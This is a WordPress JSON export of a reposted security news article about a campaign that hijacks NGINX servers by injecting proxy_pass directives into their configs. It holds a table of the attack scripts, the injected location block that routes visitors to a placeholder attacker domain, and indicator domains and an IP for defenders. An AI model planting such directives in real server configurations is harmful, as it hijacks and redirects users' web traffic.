{"id":10415,"date":"2026-02-05T10:00:54","date_gmt":"2026-02-05T10:00:54","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/02\/05\/threat-actors-hacking-nginx-servers-to-redirect-web-traffic-to-malicious-servers\/"},"modified":"2026-02-05T10:00:54","modified_gmt":"2026-02-05T10:00:54","slug":"threat-actors-hacking-nginx-servers-to-redirect-web-traffic-to-malicious-servers","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/02\/05\/threat-actors-hacking-nginx-servers-to-redirect-web-traffic-to-malicious-servers\/","title":{"rendered":"Threat Actors Hacking NGINX Servers to Redirect Web Traffic to Malicious Servers"},"content":{"rendered":"<p>    Threat Actors Hacking NGINX Servers to Redirect Web Traffic to Malicious Servers<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>A sophisticated campaign in which threat actors are stealthily compromising <a href=\"https:\/\/cybersecuritynews.com\/new-nginrat-that-hides-on-nginx-servers-steal-data-from-ecommerce-websites\/\" target=\"_blank\" rel=\"noreferrer noopener\">NGINX servers<\/a> to redirect web traffic to malicious destinations.<\/p>\n<p>The attackers, previously linked to \u201c<a href=\"https:\/\/cybersecuritynews.com\/hackers-exploit-react2shell-vulnerability\/\" target=\"_blank\" rel=\"noreferrer noopener\">React2Shell<\/a>\u201d exploits, are now targeting NGINX configurations, specifically those using the Baota (BT) management panel, widely used in Asia.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-how-the-attack-works\"><strong>How the Attack Works<\/strong><\/h2>\n<p>Instead of installing traditional <a href=\"https:\/\/cybersecuritynews.com\/top-malware-threats-targeting-businesses-today-and-how-protection-tools-fight-back\/\" target=\"_blank\" rel=\"noreferrer noopener\">malware<\/a>, these attackers modify the server\u2019s legitimate configuration files.<\/p>\n<p>By injecting malicious directives into NGINX\u2019s\u00a0location\u00a0blocks, they can intercept user traffic and route it through attacker-controlled servers without the site owner noticing immediately.<\/p>\n<figure class=\"wp-block-image size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEhq6u0VXqvzYwievlCuN8S-F5tGTEH_KdXJ8YhWVHxPiXi7NmaCJDfoKXSa-OzfZXWiTQGha_LJ-uAxfjRQ-va7GlD8JrOoRTcxvVS-aseIVmc3WrO8LCugwrVEOHaJ7SAjA6VJOKqNg6OAdcY5wqMGA8Qomx1O9dhrF_m64BvxjKl3GOvJX4FcR9HeO6I\/s1600\/Screenshot%25202026-02-05%2520104619%2520%25281%2529.webp?ssl=1\" alt=\"NGINX attack flow diagram (source : Datadog Security Labs)\"><figcaption class=\"wp-element-caption\">NGINX attack flow diagram (source: Datadog Security Labs)<\/figcaption><\/figure>\n<p>The core of the attack relies on the\u00a0proxy_pass\u00a0directive. This standard NGINX feature is designed to forward traffic to backend servers (like a <a href=\"https:\/\/cybersecuritynews.com\/multiple-php-vulnerabilities\/\" target=\"_blank\" rel=\"noreferrer noopener\">PHP application<\/a>).<\/p>\n<p>The campaign uses a straightforward, automated workflow involving several shell scripts:<\/p>\n<figure class=\"wp-block-table is-style-stripes\">\n<table class=\"has-fixed-layout\">\n<thead>\n<tr>\n<th>Script Name<\/th>\n<th> Role<\/th>\n<th>Primary Function<\/th>\n<th>Target <\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>zx.sh<\/strong><\/td>\n<td>The Orchestrator<\/td>\n<td>Initializes environment and downloads required tools<\/td>\n<td>Acts as entry point for the attack chain<\/td>\n<\/tr>\n<tr>\n<td><strong>bt.sh<\/strong><\/td>\n<td>Baota Injector<\/td>\n<td>Scans for Baota panel configs and injects malicious code<\/td>\n<td>Targets <code>\/www\/server\/panel\/vhost\/nginx<\/code>\n<\/td>\n<\/tr>\n<tr>\n<td><strong>4zdh.sh<\/strong><\/td>\n<td>Advanced Injection<\/td>\n<td>Injects payload into NGINX configs after validation<\/td>\n<td>Targets generic Linux NGINX installs<\/td>\n<\/tr>\n<tr>\n<td><strong>zdh.sh<\/strong><\/td>\n<td>Advanced Injection<\/td>\n<td>Same as 4zdh.sh with config verification<\/td>\n<td>Collects and uploads the hijacked domain list<\/td>\n<\/tr>\n<tr>\n<td><strong>ok.sh<\/strong><\/td>\n<td>Exfiltration<\/td>\n<td>Acts as an entry point for the attack chain<\/td>\n<td>Sends data to attacker C2 server<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>However, the attackers reconfigure it to send users to their own malicious domains, such as gambling or <a href=\"https:\/\/cybersecuritynews.com\/classiscam-actors-automate-malicious-websites\/\" target=\"_blank\" rel=\"noreferrer noopener\">scam sites<\/a>.<\/p>\n<p>They also use\u00a0proxy_set_header\u00a0to ensure the <a href=\"https:\/\/cybersecuritynews.com\/notepad-hijacked\/\" target=\"_blank\" rel=\"noreferrer noopener\">hijacked traffic<\/a> retains legitimate-looking headers, making the redirection harder to detect in standard logs.<\/p>\n<pre class=\"wp-block-code\"><code>\nlocation \/%PATH%\/ {\n    set $fullurl \"$scheme:\/\/$host$request_uri\";\n    rewrite ^\/%PATH%\/?(.*)$ \/index.php?domain=$fullurl&amp;$args break;\n    proxy_set_header Host [Attacker_Domain];\n    proxy_set_header X-Real-IP $remote_addr;\n    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n    proxy_set_header X-Forwarded-Proto $scheme;\n    proxy_set_header User-Agent $http_user_agent;\n    proxy_set_header Referer $http_referer;\n    proxy_ssl_server_name on;\n    proxy_pass http:\/\/[Attacker_Domain];\n}\n<\/code><\/pre>\n<p>The campaign heavily targets Asian Top-Level Domains (TLDs) like\u00a0.in,\u00a0.id,\u00a0.th, and\u00a0.bd, as well as government (.gov) and educational (.edu) websites.<\/p>\n<p>Datadog Security Research <a href=\"https:\/\/securitylabs.datadoghq.com\/articles\/web-traffic-hijacking-nginx-configuration-malicious\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">advises<\/a> administrators to check their NGINX configuration files for unexpected\u00a0proxy_pass\u00a0directives pointing to the following known malicious domains:\u200b<\/p>\n<figure class=\"wp-block-table is-style-stripes\">\n<table class=\"has-fixed-layout\">\n<thead>\n<tr>\n<th>Indicator Type<\/th>\n<th>Value<\/th>\n<th>Threat Category<\/th>\n<th>Status<\/th>\n<th>Notes<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Domain<\/td>\n<td><strong>xzz.pier46[.]com<\/strong><\/td>\n<td>Suspected C2 \/ Malware Infrastructure<\/td>\n<td>Active (unverified)<\/td>\n<td>Observed in malicious campaign<\/td>\n<\/tr>\n<tr>\n<td>Domain<\/td>\n<td><strong>ide.hashbank8[.]com<\/strong><\/td>\n<td>Suspected C2 \/ Malware Infrastructure<\/td>\n<td>Active (unverified)<\/td>\n<td>Used for attacker communications<\/td>\n<\/tr>\n<tr>\n<td>Domain<\/td>\n<td><strong>th.cogicpt[.]org<\/strong><\/td>\n<td>Suspected C2 \/ Malware Infrastructure<\/td>\n<td>Active (unverified)<\/td>\n<td>Potential exfiltration endpoint<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Additionally, network logs showing traffic to IP\u00a0158.94.210[.]227\u00a0indicate active communication with the attackers\u2019 infrastructure.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 94%,rgb(169,184,195) 100%)\"><strong>Follow us on <a href=\"https:\/\/news.google.com\/publications\/CAAqMggKIixDQklTR3dnTWFoY0tGV041WW1WeWMyVmpkWEpwZEhsdVpYZHpMbU52YlNnQVAB?hl=en-IN&amp;gl=IN&amp;ceid=IN:en\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google News<\/a>, <a href=\"https:\/\/www.linkedin.com\/company\/cybersecurity-news\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">LinkedIn<\/a>, and <a href=\"https:\/\/x.com\/cyber_press_org\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">X<\/a> for daily cybersecurity updates. <a href=\"https:\/\/cybersecuritynews.com\/contact-us\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Contact us<\/a> to feature your stories.<\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/threat-actors-hacking-nginx-servers\/\">Threat Actors Hacking NGINX Servers to Redirect Web Traffic to Malicious Servers<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Abinaya<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/threat-actors-hacking-nginx-servers\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Threat Actors Hacking NGINX Servers to Redirect Web Traffic to Malicious Servers A sophisticated campaign in which threat actors are stealthily compromising NGINX servers to redirect web traffic to malicious destinations. The attackers, previously linked to \u201cReact2Shell\u201d exploits, are now targeting NGINX configurations, specifically those using the Baota (BT) management panel, widely used in Asia. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1636,129,63],"tags":[130],"class_list":["post-10415","post","type-post","status-publish","format-standard","hentry","category-cyber-attack-news","category-cyber-security","category-cyber-security-news","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/10415"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=10415"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/10415\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=10415"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=10415"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=10415"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}